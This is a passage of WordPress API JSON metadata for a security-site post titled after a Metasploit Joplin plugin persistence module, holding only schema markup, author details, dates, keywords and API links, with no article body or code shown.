providing...","og_url":"https:\/\/zero.redgem.net\/?p=64424","og_site_name":"zero redgem","article_published_time":"2026-06-19T15:44:05+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=64424#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=64424"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Joplin Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN-","datePublished":"2026-06-19T15:44:05+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=64424"},"wordCount":2286,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=64424#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=64424","url":"https:\/\/zero.redgem.net\/?p=64424","name":"Joplin Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-19T15:44:05+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=64424#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=64424"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=64424#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Joplin Plugin Persistence_MSF:EXPLOIT-MULTI-PERSISTENCE-JOPLIN_PLUGIN-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64424","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=64424"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/64424\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=64424"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=64424"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=64424"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}